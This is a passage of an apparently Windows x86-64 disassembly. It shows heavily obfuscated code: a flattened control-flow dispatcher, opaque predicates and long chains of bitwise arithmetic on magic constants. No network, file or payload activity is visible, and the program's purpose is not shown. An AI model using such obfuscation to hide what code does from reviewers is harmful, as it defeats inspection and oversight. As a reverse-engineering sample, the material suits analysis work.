or edx, ecx
mov ecx, edx
xor ecx, 0x4b4ff57d
and esi, 0xa91ba070
and ebx, 0x56e45f8f
or ebx, esi
mov ebp, ebx
xor ebp, 0x56e45f8f
xor edx, 0xb4b00a82
and ebp, edx
xor ebx, 0xa91ba070
and ebx, ecx
or ebx, ebp
not ebx
or ebx, edx
cmp ebx, 0xffffffff
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and al, dl
and r8b, bl
or r8b, al
or bl, dl
mov r9d, r8d
xor r9b, 1
mov edx, ebx
xor dl, r9b
or bl, r9b
xor bl, 1
or bl, dl
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
xor cl, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov eax, r9d
and al, r8b
mov ebx, r9d
and bl, al
xor al, r9b
or al, bl
mov ebx, eax
xor bl, 1
and bl, cl
and al, dl
or al, bl
mov ecx, r8d
xor cl, dl
or dl, r8b
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0x47160283
mov edx, 0xbd4967de
cmovne ecx, edx
test al, 1
cmove ecx, edx
test bl, 1
mov eax, 0x47160283
jmp 0x1400cc8d4
cmp ecx, 0xb7e65c98
je 0x1400cb35b
cmp ecx, 0xba16120c
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov esi, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
or ebx, 0x45d07b31
mov ecx, ebx
not ecx
or edx, 0x182c0080
and edx, 0x1c3c3890
and ebp, 0x41c04321
or ebp, edx
and ebx, 0x1c3c3890
and ecx, 0xa203844e
or ecx, ebx
xor ecx, ebp
mov edx, ecx
not edx
and edx, 0xbf95675b
and ecx, 0x406a98a4
or ecx, edx
mov ebp, ecx
xor ebp, 0x5bae395
mov edx, ecx
xor edx, 0x5bae394
and edx, ebp
xor ecx, 0x22440c02
and ecx, 0x27dc8c16
and ebp, 0xd82373e9
or ebp, ecx
mov ebx, ebp
xor ebx, 0x80027300
mov ecx, edx
not ecx
xor ebp, 0x27dc8c17
mov edi, ecx
and edi, 0x5ca984e9
and edx, 0xa3567b16
or edx, edi
or ecx, ebp
and ebp, 0x5ca984e9
and ebx, 0xa3567b16
or ebx, ebp
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x9c5e37
and ecx, 0xff63a1c8
or ecx, edx
mov edx, ecx
xor edx, 0xd5032140
xor ecx, 0x9c5e37
mov ebp, ecx
and ebp, 0x2afc9aaa
and edx, 0xd5036555
or edx, ebp
xor edx, 0xd5036555
or edx, ecx
cmp edx, 0xffffffff
setne r8b
sete r9b
cmp esi, 0xa
setl al
cmp esi, 9
setg cl
mov r10d, eax
mov edx, eax
and dl, r9b
xor al, r9b
and r9b, cl
and r10b, r8b
or r10b, r9b
xor cl, r8b
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
xor dl, 1
mov eax, r10d
xor al, 1
mov ebx, r10d
and bl, al
mov ecx, ebx
and cl, r10b
xor bl, r10b
or bl, cl
xor bl, dl
mov ecx, eax
and cl, dl
xor al, dl
or al, cl
mov edx, ebx
xor dl, al
test al, 1
mov ecx, 0x7e0584a1
mov eax, 0x5da6b387
cmovne ecx, eax
test bl, 1
cmovne ecx, eax
not dl
test dl, 1
mov eax, 0x7e0584a1
jmp 0x1400cc8d4
cmp ecx, 0xfe614512
je 0x1400cb371
cmp ecx, 0xff50144e
jne 0x1400bd720
mov ecx, 0x9a6ec955
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x4e6afce5
je 0x1400cb512
cmp ecx, 0x4e7f04d9
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0xa7f8a9b0
and edx, 0x5807564f
or edx, ebp
mov ebp, edx
xor ebp, 0xa080a8b0
xor edx, 0x5807564f
mov ecx, edx
or ecx, 1
mov ebx, ecx
not ebx
and edx, 0x177a550d
and ebp, 0xe885aaf2
or ebp, edx
mov edx, ebp
xor edx, 0x88012851
xor ebp, 0x177a550c
mov edi, ecx
and edi, 0x759ed2a2
and ebx, 0x8a612d5c
or ebx, edi
or ecx, ebp
and ebp, 0x759ed2a2
and edx, 0x8a612d5d
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
xor edx, 0x92916e6
and edx, ecx
or ecx, 0xf6d6e919
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x9a92cb8d
and ebp, 0x1291462
or ebp, edi
or ecx, ebx
and ebx, 0x9a92cb8d
and edx, 0x656d3472
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xa9a962d1
and ecx, 0x56569d2e
or ecx, edx
mov edx, ecx
xor edx, 0x505e0bc8
xor ecx, 0xa0807437
mov ebp, ecx
and ebp, 0xafa1e402
and edx, 0x505e1bfd
or edx, ebp
xor edx, 0x505e1bfd
or edx, ecx
cmp edx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov edx, r8d
and dl, al
mov ebx, r9d
and bl, cl
or bl, dl
xor al, bl
and al, bl
or r8b, r9b
xor cl, r9b
and cl, r9b
mov edx, r8d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r8b
xor cl, 1
or cl, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and dl, cl
and bl, al
or bl, dl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0xf615178b
mov edx, 0x72aab2cb
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0xf615178b
jmp 0x1400cc8d4
cmp ecx, 0x2c8f9f11
je 0x1400cb6dd
cmp ecx, 0x2e16b319
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
mov ebp, edx
xor ebp, 0x5cbc61dc
and ebp, edx
not edx
mov ebx, edx
and ebx, 0x101f710f
and ecx, 0xefe08ef0
or ecx, ebx
mov ebx, ecx
xor ebx, 0x448000d0
xor ecx, 0x101c610c
or ecx, 0xa3439e23
mov edi, ebp
not edi
mov esi, ecx
and esi, 0xa96df306
and ebx, 0x549000d8
or ebx, esi
or ecx, edi
and edi, 0xa96df306
and ebp, 0x56920cf9
or ebp, edi
xor ebp, ebx
not ecx
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0xa3439e22
and ecx, 0x5cbc61dd
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x82abe631
and ecx, 0x7d5419ce
or ecx, ebp
xor ecx, 0x7d5419ce
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
xor bl, 1
or bl, al
xor bl, 1
xor cl, al
xor cl, bl
and bl, cl
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x7f9b5a62
mov edx, 0x9908c653
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0x7f9b5a62
jmp 0x1400cc8d4
cmp ecx, 0x87f63b06
je 0x1400cb867
cmp ecx, 0x88392681
jne 0x1400bd720
mov rdi, qword [rsp + 0x38]
mov eax, dword [0x140265728]
mov ecx, dword [0x140265724]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
and ebp, 0x89d8fefd
mov edx, eax
and edx, 0x76270102
or edx, ebp
mov esi, edx
xor esi, 0x76270102
xor edx, 0x80e6d5
mov ebx, esi
and ebx, 0xdd9b202b
and eax, 0x2264dfd4
or eax, ebx
mov ebx, eax
not ebx
and ebx, 0x2264dfd5
and eax, 0xdd9b202a
or eax, ebx
and edx, 0x2483e6d5
mov ebp, esi
and ebp, 0xdb7c192a
or ebp, edx
xor ebp, 0x2483e6d4
and esi, 1
or esi, ebp
mov ebx, eax
not ebx
mov edx, ebx
and edx, 0x1c3fbbd4
and eax, 0xe3c0442b
or eax, edx
mov edx, esi
not edx
or ebx, esi
and esi, 0x1c3fbbd4
and edx, 0xe3c0442b
or edx, esi
xor edx, eax
not ebx
or ebx, edx
mov eax, ebx
mov edx, ebx
xor edx, 0xa26ff2a8
and edx, ebx
not ebx
and ebx, 0x2268c000
and eax, 0x800732a8
or eax, ebx
mov ebp, eax
xor ebp, 0x80003088
xor eax, 0x7ff8cd57
mov ebx, eax
and ebx, 0x4f670e21
and ebp, 0xa008f088
or ebp, ebx
mov ebx, edx
not ebx
or eax, ebx
and ebx, 0x4f670e21
and edx, 0xb098f1de
or edx, ebx
xor edx, ebp
not eax
or eax, edx
mov edx, eax
not edx
and edx, 0x5d900d57
and eax, 0xa26ff2a8
or eax, edx
setne r8b
sete r9b
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl r11b
mov r10d, r11d
xor r10b, dl
and r10b, r11b
mov eax, r9d
xor al, r8b
and al, r9b
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
mov esi, ebx
and sil, cl
xor cl, bl
or cl, sil
or bl, al
mov eax, ecx
xor al, bl
or bl, cl
xor bl, 1
or bl, al
mov ecx, ebx
xor cl, 1
mov eax, ecx
and al, bl
xor cl, al
xor al, 1
or al, bl
xor al, 1
or al, cl
xor al, r10b
xor al, 1
and r8b, r11b
or r11b, r9b
xor r11b, 1
and dl, r9b
or dl, r8b
mov ecx, r11d
and cl, dl
xor dl, r11b
or dl, cl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor dl, al
mov ecx, edx
xor cl, 1
and cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x53ae62f3
mov ebp, 0x1e3e54ea
cmovne eax, ebp
test dl, 1
mov edx, eax
cmovne edx, ebp
mov qword [0x140265060], rdi
jmp 0x1400ca11e
cmp ecx, 0xc4e7c122
je 0x1400cb87d
cmp ecx, 0xc76f20f0
jne 0x1400bd720
mov ecx, dword [0x140265728]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0x6a9172ce
and ecx, 0x956e8d31
or ecx, ebx
or eax, ebp
and ebp, 0x6a9172ce
and edx, 0x956e8d31
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
xor ecx, 1
and ecx, eax
mov edx, eax
not edx
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x7baed3f7
and eax, 0x84512c08
or eax, ecx
mov ecx, eax
xor ecx, 0x84000808
xor eax, 0x7008c341
and eax, 0x7059e741
and ecx, 0x8fa618be
or ecx, eax
mov eax, ecx
xor eax, 0x41a241
xor ecx, 0x8fa618be
mov edx, ecx
and edx, 0xfdbc4da2
and eax, 0x243b25d
or eax, edx
xor eax, 0xfdbc4da2
xor ecx, eax
test ecx, eax
sete bl
setne r9b
cmp dword [0x140265724], 9
setg al
mov edx, eax
and dl, r9b
xor r9b, al
or r9b, dl
mov r8d, r9d
xor r8b, 1
mov edx, eax
xor dl, bl
not dl
and dl, bl
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov ecx, r9d
and cl, r8b
mov ebx, r9d
xor bl, cl
xor cl, 1
or cl, r8b
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
and bl, dl
and cl, al
or cl, bl
xor dl, r9b
or al, r8b
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x484c7c66
mov ebp, 0xb14be921
cmovne edx, ebp
test al, 1
mov eax, 0x484c7c66
cmovne eax, edx
test cl, 1
jmp 0x1400c67f5
cmp ecx, 0x69d03e4c
je 0x1400cb999
cmp ecx, 0x6bd0980b
jne 0x1400bd720
mov eax, dword [0x140265728]
mov ecx, dword [0x140265724]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
xor eax, 0xc1799c4c
and eax, edx
not edx
mov ebp, edx
and ebp, 0xc1799c4c
mov ebx, ebp
and ebx, eax
xor eax, ebp
or eax, ebx
mov ebp, eax
not ebp
and ebp, 0x3e8663b2
and eax, 0xc1799c4d
or eax, ebp
mov ebp, eax
not ebp
and ebp, 0xed35bdb9
and eax, 0x12ca4246
or eax, ebp
xor eax, 0x12ca4246
mov ebp, eax
and ebp, edx
xor eax, edx
or eax, ebp
mov edx, eax
not edx
and edx, 0x8e0559cd
and eax, 0x71faa632
or eax, edx
xor eax, 0x71faa632
sete r9b
setne al
cmp ecx, 0xa
setl r8b
cmp ecx, 9
setg bl
mov ecx, ebx
and cl, al
mov r11d, ebx
xor r11b, al
or r11b, cl
mov r10d, r11d
xor r10b, 1
xor bl, r9b
not bl
and bl, r9b
xor al, r8b
not al
and al, r8b
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov r8d, eax
xor r8b, 1
mov edx, r10d
and dl, r11b
mov ecx, eax
and cl, r8b
mov ebx, edx
xor bl, 1
xor dl, r10b
or bl, r11b
xor bl, 1
or bl, dl
xor cl, 1
mov edx, ecx
xor dl, r8b
or cl, r8b
xor cl, 1
or cl, dl
xor cl, bl
mov edx, r10d
xor dl, al
or al, r10b
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x502e0ed2
mov ebp, 0x4022273a
cmovne eax, ebp
test cl, 1
cmove eax, ebp
test dl, 1
mov ecx, 0x502e0ed2
jmp 0x1400ca6e6
cmp ecx, 0xa7877fff
je 0x1400cbb3c
cmp ecx, 0xaaaff20e
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x220f5faf
and ecx, edx
and edx, 0xddf0a050
or edx, ebp
mov ebp, edx
xor ebp, 0x4602040
xor edx, 0x220f5faf
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xdb9c92b6
and ebp, 0x24636d49
or ebp, edi
or edx, ebx
and ebx, 0xdb9c92b6
and ecx, 0x24636d49
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov eax, edx
not eax
mov ebp, eax
and ebp, 0x91800727
mov ecx, edx
xor ecx, 0x91800727
and ecx, edx
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0x6e7ff8d9
and ecx, 0x91800726
or ecx, ebp
and edx, 0x7c187576
mov ebx, eax
and ebx, 0x83e78a89
or ebx, edx
xor ebx, 0x7c187577
and eax, 1
or eax, ebx
mov esi, eax
not esi
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xfbc0ed7d
and ecx, 0x43f1282
or ecx, ebp
or edx, eax
and eax, 0xfbc0ed7d
and esi, 0x43f1282
or esi, eax
xor esi, ecx
not edx
or edx, esi
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x76a183
and eax, edx
and edx, 0xff895e7c
or edx, ecx
xor edx, 0xff895e7c
mov ecx, edx
and ecx, eax
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and edx, 0xcabe9ce2
and eax, 0x3541631d
or eax, edx
mov ecx, eax
xor ecx, 0x481280e0
xor eax, 0x1410015
and eax, 0x83ed1c17
and ecx, 0x7c12e3e8
or ecx, eax
xor ecx, 0x7c12e3e8
sete r9b
setne cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov eax, ebx
xor al, cl
and cl, dl
or dl, r9b
xor dl, 1
or dl, al
xor dl, 1
and bl, r9b
or bl, cl
xor bl, dl
mov eax, ebx
not al
and al, dl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0x48e4c48e
mov ebp, 0x35fb1ee
cmovne edx, ebp
test bl, bl
jmp 0x1400cb85b
cmp ecx, 0xe3647973
je 0x1400cbc43
cmp ecx, 0xe5d42317
jne 0x1400bd720
mov ecx, 0xb0abb97
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x1c5c1ab9
je 0x1400cbd26
cmp ecx, 0x1c680ec3
jne 0x1400bd720
mov rsi, qword [rsp + 0x38]
mov ebp, dword [0x140265728]
mov ecx, dword [0x140265724]
lea edi, [rbp - 1]
imul edi, ebp
mov ebp, edi
not ebp
mov edx, edi
or edx, 1
mov ebx, edx
not ebx
and edx, 0xcbd7541e
and ebx, 0x3428abe0
or ebx, edx
mov edx, edi
or edx, 0xcbd7541e
and edx, 0xcbd7541f
xor edx, ebx
mov ebx, edx
not ebx
and ebx, 0xccc54c4a
and edx, 0x333ab3b5
or edx, ebx
xor edx, 0x333ab3b5
and ebp, 0xe45eb20
and edi, 0xf1ba14df
or edi, ebp
xor edi, 0xf1ba14df
mov ebp, edx
and ebp, edi
xor edi, edx
or edi, ebp
cmp edi, 0xffffffff
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
xor cl, dl
mov eax, ebx
or al, dl
xor bl, dl
xor bl, 1
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
xor al, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
and dl, cl
xor cl, 1
xor al, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test al, al
mov eax, 0x65bdd0ef
mov edx, 0x9d01c148
cmovne eax, edx
test bl, bl
mov ebp, 0x65bdd0ef
cmove eax, ebp
mov qword [0x140265060], rsi
test cl, cl
jmp 0x1400c7f2f
cmp ecx, 0x590cbe50
je 0x1400cbe69
cmp ecx, 0x5989f606
jne 0x1400bd720
mov ecx, 0xf2e81280
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x3c460956
je 0x1400cbe7f
cmp ecx, 0x3d7a943b
jne 0x1400bd720
mov edx, dword [0x140265728]
mov ecx, dword [0x140265724]
lea eax, [rdx - 1]
imul eax, edx
mov edx, eax
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ebx, eax
xor ebx, 0xfffffffe
and ebx, eax
mov edi, ebp
and edi, ebx
xor ebx, ebp
or ebx, edi
not ebx
and edx, 0x32deb700
and eax, 0xcd2148ff
or eax, edx
xor eax, 0xcd2148ff
mov edx, ebx
and edx, eax
xor eax, ebx
or eax, edx
mov edx, eax
not edx
and edx, 0x60463521
and eax, 0x9fb9cade
or eax, edx
xor eax, 0x9fb9cade
sete r8b
setne r10b
cmp ecx, 9
setg r11b
cmp ecx, 0xa
setl r9b
mov edx, r9d
xor dl, r10b
not dl
and dl, r10b
mov esi, r9d
or sil, r10b
xor sil, 1
mov ecx, edx
and cl, sil
xor sil, dl
or sil, cl
mov edx, r11d
xor dl, r8b
and dl, r11b
and r10b, r9b
and r11b, r8b
or r11b, r10b
mov ecx, edx
and cl, r11b
xor r11b, dl
or r11b, cl
mov edx, r11d
xor dl, 1
mov r8d, esi
xor r8b, 1
mov ecx, esi
and cl, r8b
mov r9d, edx
and r9b, r11b
mov r10d, ecx
and r10b, sil
xor cl, sil
or cl, r10b
mov eax, r9d
xor al, 1
xor r9b, dl
or al, r11b
xor al, 1
or al, r9b
mov ebx, ecx
xor bl, 1
and bl, al
xor al, 1
and al, cl
or al, bl
xor r8b, r11b
or dl, sil
xor dl, 1
or dl, r8b
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xe3647973
mov ebp, 0x898723d8
cmovne ecx, ebp
test dl, 1
mov edx, 0xe3647973
jmp 0x1400caed9
cmp ecx, 0x95f9a7fc
je 0x1400cbe95
cmp ecx, 0x9786faae
jne 0x1400bd720
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x415f4b98
and edx, ecx
and ecx, 0xbea0b467
or ecx, ebp
mov ebp, ecx
xor ebp, 0x8880b407
xor ecx, 0x415f4b98
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x76370070
and ebp, 0x89c8ff8f
or ebp, edi
or ecx, ebx
and ebx, 0x76370070
and edx, 0x89c8ff8f
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
or ebp, 0x295566f9
mov edi, ebp
not edi
mov esi, edx
or esi, 0xd6aa9906
mov ebx, esi
not ebx
and ebp, 0x5f6d5910
and edi, 0x80828006
or edi, ebp
and esi, 0x5f6d5910
and ebx, 0x201026e9
or ebx, esi
xor ebx, edi
mov ebp, ebx
not ebp
and ebp, 0x295566f8
and ebx, 0xd6aa9907
or ebx, ebp
and ecx, 0x875baa4b
mov ebp, edx
and ebp, 0x78a455b4
or ebp, ecx
xor ebp, 0x875baa4a
and edx, 1
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x95e4efb9
and edx, 0x6a1b1046
or edx, ecx
xor edx, 0x6a1b1046
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x2e1764c7
and edx, 0xd1e89b38
or edx, ecx
xor edx, 0xd1e89b38
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor al, dl
mov edx, eax
xor dl, bl
and dl, al
mov eax, ebx
xor al, cl
not al
and al, cl
or bl, cl
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov ecx, edx
xor cl, 1
mov ebx, eax
xor bl, 1
and al, cl
or cl, bl
and bl, dl
or bl, al
mov eax, ebx
xor al, cl
test bl, bl
mov edx, 0xe5ffea6c
mov ebp, 0xdf8d7067
cmovne edx, ebp
test cl, 1
mov ecx, 0xe5ffea6c
jmp 0x1400c8413
cmp ecx, 0xd2a556d8
je 0x1400cbeab
cmp ecx, 0xd3899c31
jne 0x1400bd720
mov ecx, 0xf97959d6
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x743175f1
je 0x1400cbec1
cmp ecx, 0x77d3711e
jne 0x1400bd720
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x9b3e8c59
and ebp, 0x64c173a6
or ebp, edi
or ecx, ebx
and ebx, 0x9b3e8c59
and edx, 0x64c173a6
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x8a4e89ff
and ecx, 0x75b17600
or ecx, edx
mov ebx, ecx
xor ebx, 0x82408050
or ebx, 0x1cbe4faf
mov edi, ebx
not edi
or ebp, 0xe341b050
mov edx, ebp
not edx
and ebx, 0x481275a1
and edi, 0xa3418050
or edi, ebx
and ebp, 0x481275a1
and edx, 0x14ac0a0e
or edx, ebp
xor edx, edi
mov ebp, edx
not ebp
and ebp, 0xd1d5e9d2
and edx, 0x2e2a162d
or edx, ebp
xor edx, 0xcd6ba67c
mov ebp, ecx
and ebp, 1
xor ecx, 0x75b17601
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x79b234f3
and ecx, 0x864dcb0c
or ecx, ebp
xor ecx, 0x864dcb0c
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xc5bf43bc
and ecx, 0x3a40bc43
or ecx, edx
mov edx, ecx
xor edx, 0x8008c01
xor ecx, 0x440740b0
and ecx, 0x764770f2
and edx, 0x89b88f0d
or edx, ecx
mov ecx, edx
xor ecx, 0x81a08601
xor edx, 0x64433060
and edx, 0x6c5b396c
and ecx, 0x93a4c693
or ecx, edx
xor ecx, 0x6c5b396c
cmp ecx, 0xffffffff
sete r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg dl
mov eax, edx
xor al, r8b
not al
and al, r8b
or dl, r8b
mov ebx, edx
xor bl, al
xor al, 1
xor bl, 1
or al, dl
xor al, 1
or al, bl
mov edx, ecx
or dl, r8b
xor cl, r8b
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
xor al, 1
and al, dl
or cl, al
mov eax, ebx
xor al, cl
test cl, 1
mov ecx, 0xd094081a
mov ebp, 0x827f8c6a
cmovne ecx, ebp
test bl, 1
mov edx, 0xd094081a
jmp 0x1400cbfc5
cmp ecx, 0xb5d5fb10
je 0x1400cbfde
cmp ecx, 0xb6a60356
jne 0x1400bd720
mov eax, dword [0x140265728]
lea ecx, [rax - 1]
imul ecx, eax
mov edi, ecx
not edi
mov edx, edi
and edx, 0xc0540c0a
mov eax, ecx
and eax, 0x6012150
or eax, edx
mov ebx, eax
xor ebx, 0x6010000
xor eax, 0xd0e25e0b
mov ebp, edi
or ebp, 0xc6552d5a
mov edx, ebp
not edx
and eax, 0xd0e27f5b
and ebx, 0x6150000
or ebx, eax
and ebp, 0xd0e27f5b
and edx, 0x290880a4
or edx, ebp
xor edx, ebx
mov eax, edx
not eax
and eax, 0x39aad2a4
and edx, 0xc6552d5b
or edx, eax
mov eax, edx
not eax
and eax, 0x66c7b40c
and edx, 0x99384bf3
or edx, eax
xor edx, 0x99384bf3
and edi, 0x9537fae2
and ecx, 0x6ac8051d
or ecx, edi
xor ecx, 0x6ac8051d
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
cmp ecx, 0xffffffff
sete bl
setne al
cmp dword [0x140265724], 0xa
setl r8b
xor al, r8b
xor al, 1
mov ecx, r8d
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
not al
mov edx, ebx
xor dl, r8b
and bl, dl
and dl, r8b
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
and al, cl
xor al, 1
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
and bl, dl
xor dl, 1
and al, dl
or al, bl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0xf2e81280
mov ecx, 0x5989f606
cmovne ebp, ecx
test dl, 1
mov ecx, 0xf2e81280
jmp 0x1400c73f7
cmp ecx, 0xf97959d6
je 0x1400cbff4
cmp ecx, 0xfa34602b
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xac7c3fcd
and edx, 0x5383c032
or edx, ecx
mov ebx, edx
xor ebx, 0x41000032
xor edx, 0xac003740
and edx, 0xbe83f740
and ebx, 0x417c08bf
or ebx, edx
mov edi, ebx
xor edi, 0xbe83f740
mov ecx, ebx
xor ecx, 0x417c0899
and ecx, 0x79fd89d9
xor ebx, 0x89be7be8
and ebx, edi
and edi, 0x86027626
or edi, ecx
mov ecx, edi
xor ecx, 0x86027626
mov edx, edi
xor edx, 0x4ec00571
and edx, ecx
mov ebp, edx
not ebp
mov esi, ebx
not esi
mov eax, ebp
and eax, 0xa2629b2f
and edx, 0x5d9d64d0
or edx, eax
or ebp, esi
and esi, 0xa2629b2f
and ebx, 0x5d9d64d0
or ebx, esi
xor ebx, edx
not ebp
or ebp, ebx
mov eax, ebp
not eax
and eax, 0xc8c27356
and ebp, 0x373d8ca9
or ebp, eax
xor edi, 0x96c0990
and edi, 0xd6c6b92
mov eax, ecx
and eax, 0xf293946d
or eax, edi
xor eax, 0xd6c6b93
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x4a47af72
and ecx, 0xb5b8508d
or ecx, eax
mov eax, ecx
xor eax, 0x11880008
xor ecx, 0x4a47af72
mov edx, ebp
not edx
mov ebx, edx
and ebx, 0xa63670b7
and ebp, 0x59c98f48
or ebp, ebx
or edx, ecx
and ecx, 0xa63670b7
and eax, 0x59c98f48
or eax, ecx
xor eax, ebp
not edx
or edx, eax
mov eax, edx
not eax
and edx, 0x71f1c031
and eax, 0x8e0e3fce
or eax, edx
mov ecx, eax
xor ecx, 0x41500000
xor eax, 0x6041fcc
and eax, 0x36a5dffd
and ecx, 0xc95a2002
or ecx, eax
mov eax, ecx
xor eax, 0x405a2002
xor ecx, 0x16a144c8
and ecx, 0x9fa144c8
and eax, 0x605ebb37
or eax, ecx
mov ecx, eax
xor ecx, 0x1b0140c8
xor eax, 0x20b37
and eax, 0x84a20f37
and ecx, 0x7b5df0c8
or ecx, eax
xor ecx, 0x7b5df0c8
sete r10b
setne r9b
cmp r8d, 9
setg r11b
cmp r8d, 0xa
setl dl
mov eax, edx
xor al, r11b
and al, dl
mov ecx, eax
xor cl, 1
or cl, al
xor cl, 1
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
and al, r9b
and cl, r10b
or cl, al
mov eax, r11d
xor al, r10b
and al, r11b
xor dl, r10b
mov ebx, eax
xor bl, 1
